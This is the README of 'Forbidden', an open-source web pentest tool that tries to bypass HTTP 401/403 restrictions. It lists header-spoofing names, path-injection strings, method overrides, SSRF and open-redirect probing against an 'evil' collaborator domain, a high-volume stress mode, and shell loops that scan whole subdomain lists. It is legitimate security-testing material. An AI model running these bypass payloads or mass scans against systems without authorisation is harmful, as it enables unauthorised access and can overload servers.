Forbidden
Bypass 4xx HTTP response status codes and more. Based on PycURL.
Script uses multithreading and is based on brute forcing, so it might have some false positive results. Script has colored output.
Results will be sorted by HTTP response status code ascending, content length descending, and ID ascending.
To manually filter out false positive results, for each unique content length, run the provided cURL
command and check the response. If it does not result in bypass, just ignore all the results with the same content length.
Test | Scope |
---|---|
HTTP methods - w/ both HTTP and HTTPS requests, and 'Content-Length: 0' header | methods |
Cross-site tracing (XST) w/ HTTP TRACE and TRACK methods | methods |
[Text] file upload w/ HTTP PUT method | methods |
HTTP method overrides - w/ HTTP headers, and URL parameters | method-overrides |
URL scheme overrides | scheme-overrides |
Port overrides | port-overrides |
Information disclosure w/ 'Accept' header | headers |
HTTP headers | headers |
URL overrides - w/ accessible path, |
headers |
URL path bypasses | paths |
URL transformations and encodings | encodings |
Basic and bearer authentication - w/ null session, and invalid tokens | auths |
Open redirects and server-side request forgery (SSRF) - HTTP headers only | redirects |
Broken URL parsers | parsers |
Check the stress testing script here. Inspired by this write-up.
Extend the scripts to your liking.
Good sources of HTTP headers:
Tested on Kali Linux v2023.1 (64-bit).
Made for educational purposes. I hope it will help!
Remarks:
- some websites might require a valid or very specific
User-Agent
HTTP request header, - beware of
rate limiting
and other similar protections, take some time before you run the script again on the same domain, - some web proxies might modify some HTTP requests (e.g. the ones in the
encoding
scope), - connection timeout is set to
90
seconds, and response timeout is set to180
seconds, - average runtime for all tests on a single thread is
12
minutes; optimal no. of threads is5
, length
attribute in results includes only HTTP response body length,- cross-site tracing (XST) is
no more
considered to be a vulnerability, - both cURL and Python Requests
no longer support double headers
and there is no known bug to exploit it.
High priority plans:
- more path bypasses,
- add option to wait/sleep between requests on a single thread,
- scope tests to only allowed HTTP methods (fetched with HTTP OPTIONS method),
- do not ignore URL parameters and fragments,
- add option to ignore multiple texts.
Low priority plans:
- Log4j support,
- table output to make results more readable and take less space,
- add option to test custom HTTP header-value pairs for a list of domains/subdomains.
Table of Contents
- How to Install
- How to Build and Install Manually
- Automation
- HTTP Methods
- HTTP Headers
- URL Paths
- Results Format
- Usage
How to Install
On Windows OS, download and install PycURL from www.lfd.uci.edu/~gohlke.
apt-get -y install libcurl4-gnutls-dev librtmp-dev
pip3 install forbidden
pip3 install --upgrade forbidden
How to Build and Install Manually
On Windows OS, download and install PycURL from www.lfd.uci.edu/~gohlke.
Run the following commands:
apt-get -y install libcurl4-gnutls-dev librtmp-dev
git clone https://github.com/ivan-sincek/forbidden && cd forbidden
python3 -m pip install --upgrade build
python3 -m build
python3 -m pip install dist/forbidden-9.7-py3-none-any.whl
Automation
Bypass 403 Forbidden
HTTP response status code:
count=0; for subdomain in $(cat subdomains_403.txt); do count=$((count+1)); echo "#${count} | ${subdomain}"; forbidden -u "${subdomain}" -t methods,method-overrides,scheme-overrides,port-overrides,headers,paths,encodings -f GET -l base,path -o "forbidden_403_results_${count}.json"; done
Bypass 403 Forbidden
HTTP response status code with stress testing:
count=0; for subdomain in $(cat subdomains_403.txt); do count=$((count+1)); echo "#${count} | ${subdomain}"; stresser -u "${subdomain}" -dir "stresser_403_results_${count}" -r 1000 -th 200 -f GET -l base -o "stresser_403_results_${count}.json"; done
Bypass 401 Unauthorized
HTTP response status code:
count=0; for subdomain in $(cat subdomains_401.txt); do count=$((count+1)); echo "#${count} | ${subdomain}"; forbidden -u "${subdomain}" -t auths -f GET -l base -o "forbidden_401_results_${count}.json"; done
Scan for open redirects and server-side request forgery (SSRF):
count=0; for subdomain in $(cat subdomains_live_long.txt); do count=$((count+1)); echo "#${count} | ${subdomain}"; forbidden -u "${subdomain}" -t redirects -f GET -l base -e xyz.interact.sh -o "forbidden_redirect_results_${count}.json"; done
Scan for broken URL parsers:
count=0; for subdomain in $(cat subdomains_live_long.txt); do count=$((count+1)); echo "#${count} | ${subdomain}"; forbidden -u "${subdomain}" -t parsers -f GET -l base -e xyz.interact.sh -o "forbidden_parser_results_${count}.json"; done
HTTP Methods
ACL
ARBITRARY
BASELINE-CONTROL
BIND
CHECKIN
CHECKOUT
CONNECT
COPY
GET
HEAD
INDEX
LABEL
LINK
LOCK
MERGE
MKACTIVITY
MKCALENDAR
MKCOL
MKREDIRECTREF
MKWORKSPACE
MOVE
OPTIONS
ORDERPATCH
PATCH
POST
PRI
PROPFIND
PROPPATCH
PUT
REBIND
REPORT
SEARCH
SHOWMETHOD
SPACEJUMP
TEXTSEARCH
TRACE
TRACK
UNBIND
UNCHECKOUT
UNLINK
UNLOCK
UPDATE
UPDATEREDIRECTREF
VERSION-CONTROL
HTTP Headers
Method overrides:
X-HTTP-Method
X-HTTP-Method-Override
X-Method-Override
Scheme overrides:
Front-End-HTTPS
X-Forwarded-Proto
X-Forwarded-Protocol
X-Forwarded-Scheme
X-Forwarded-SSL
X-URL-Scheme
X-URLSCHEME
Port overrides:
X-Forwarded-Port
Default:
Base-URL
CF-Connecting-IP
Client-IP
Cluster-Client-IP
Connection
Contact
Destination
Forwarded
Forwarded-For
Forwarded-For-IP
From
Host
Origin
Profile
Proxy
Redirect
Referer
Request-URI
Stuff
True-Client-IP
URI
URL
X-Client-IP
X-Custom-IP-Authorization
X-Forward
X-Forwarded
X-Forwarded-By
X-Forwarded-For
X-Forwarded-For-Original
X-Forwarded-Host
X-Forwarded-Server
X-Forward-For
X-Host
X-Host-Override
X-HTTP-DestinationURL
X-HTTP-Host-Override
X-Originally-Forwarded-For
X-Original-Remote-Addr
X-Original-URL
X-Originating-IP
X-Override-URL
X-Proxy-URL
X-ProxyUser-IP
X-Real-IP
X-Referer
X-Remote-Addr
X-Remote-IP
X-Rewrite-URL
X-Server-IP
X-Wap-Profile
URL Paths
Inject at the beginning, end, and both beginning and end of URL path. All combinations.
/
//
%09
%20
%23
%2e
*
.
..
;
.;
..;
;foo=bar;
Inject at the end of URL path.
#
##
##random
*
**
**random
.
..
..random
?
??
??random
~
~~
~~random
Inject at the end of URL path, but only if URL path does not end with '/'.
.asp
.aspx
.esp
.html
.jhtml
.json
.jsp
.jspa
.jspx
.php
.sht
.shtml
.xhtml
Results Format
[
{
"id":"570-HEADERS-2",
"url":"https://example.com:443/admin",
"method":"GET",
"headers":[
"Host: 127.0.0.1"
],
"body":null,
"agent":"Forbidden/9.7",
"command":"curl --connect-timeout 90 -m 180 -iskL --max-redirs 10 --path-as-is -H 'Host: 127.0.0.1' -H 'User-Agent: Forbidden/9.7' -X 'GET' 'https://example.com:443/admin'",
"code":200,
"length":255408
},
{
"id":"571-HEADERS-2",
"url":"https://example.com:443/admin",
"method":"GET",
"headers":[
"Host: 127.0.0.1:443"
],
"body":null,
"agent":"Forbidden/9.7",
"command":"curl --connect-timeout 90 -m 180 -iskL --max-redirs 10 --path-as-is -H 'Host: 127.0.0.1:443' -H 'User-Agent: Forbidden/9.7' -X 'GET' 'https://example.com:443/admin'",
"code":200,
"length":255408
}
]
Usage
Forbidden v9.7 ( github.com/ivan-sincek/forbidden )
Usage: forbidden -u url -t tests [-f force] [-v values ] [-p path ] [-o out ]
Example: forbidden -u https://example.com/admin -t all [-f GET ] [-v values.txt] [-p /home/index.html] [-o results.json]
DESCRIPTION
Bypass 4xx HTTP response status codes and more
URL
Inaccessible or forbidden URL
Parameters and fragments are ignored
-u <url> - https://example.com/admin | etc.
TESTS
Tests to run
Use a comma-separated values
-t <tests> - methods | [method|scheme|port]-overrides | headers | paths | encodings | auths | redirects | parsers | all
FORCE
Force an HTTP method for nonspecific test cases
-f <force> - GET | POST | CUSTOM | etc.
VALUES
File with additional HTTP header values such as internal IPs, etc.
Spacing will be stripped, empty lines ignored, and duplicates removed
Scope: headers
-v <values> - values.txt | etc.
PATH
Accessible URL path to test URL overrides
Scope: headers
Default: /robots.txt
-p <path> - /home/index.html | /README.txt | etc.
EVIL
Specify (strictly) evil domain name with no port to test URL overrides
Scope: headers | redirects
Default: github.com
-e <evil> - xyz.interact.sh | xyz.burpcollaborator.net | etc.
IGNORE
Filter out 200 OK false positive results by RegEx
Spacing will be stripped
-i <ignore> - Forbidden | "Access Denied" | etc.
LENGTHS
Filter out 200 OK false positive results by content lengths
Specify 'base' to ignore the content length of the base HTTP response
Specify 'path' to ignore the content length of the accessible URL response
Use a comma-separated value
-l <lengths> - 12 | base | path | etc.
THREADS
Number of parallel threads to run
More threads make it quicker but can give worse results
Depends heavily on network bandwidth and server capacity
Default: 5
-th <threads> - 200 | etc.
SLEEP
Sleep while queuing each request
Intended for a single thread use
-s <sleep> - 5 | etc.
AGENT
User agent to use
Default: Forbidden/9.7
-a <agent> - curl/3.30.1 | random[-all] | etc.
PROXY
Web proxy to use
-x <proxy> - 127.0.0.1:8080 | etc.
OUT
Output file
-o <out> - results.json | etc.
DEBUG
Debug output
-dbg <debug> - yes
Stresser v9.7 ( github.com/ivan-sincek/forbidden )
Usage: stresser -u url -dir directory -r repeat -th threads [-f force] [-o out ]
Example: stresser -u https://example.com/secret -dir results -r 1000 -th 200 [-f GET ] [-o results.json]
DESCRIPTION
Bypass 4xx HTTP response status codes with a stress testing
URL
Inaccessible or forbidden URL
Parameters and fragments are ignored
-u <url> - https://example.com/secret | etc.
DIRECTORY
Output directory
All valid and unique HTTP responses will be saved in this directory
-dir <directory> - results | etc.
REPEAT
Number of HTTP requests to send for each test case
-r <repeat> - 1000 | etc.
THREADS
Number of parallel threads to run
-th <threads> - 200 | etc.
FORCE
Force an HTTP method for nonspecific test cases
-f <force> - GET | POST | CUSTOM | etc.
IGNORE
Filter out 200 OK false positive results by RegEx
Spacing will be stripped
-i <ignore> - Forbidden | "Access Denied" | etc.
LENGTHS
Filter out 200 OK false positive results by content lengths
Specify 'base' to ignore the content length of the base HTTP response
Use a comma-separated value
-l <lengths> - 12 | base | etc.
AGENT
User agent to use
Default: Stresser/9.7
-a <agent> - curl/3.30.1 | random[-all] | etc.
PROXY
Web proxy to use
-x <proxy> - 127.0.0.1:8080 | etc.
OUT
Output file
-o <out> - results.json | etc.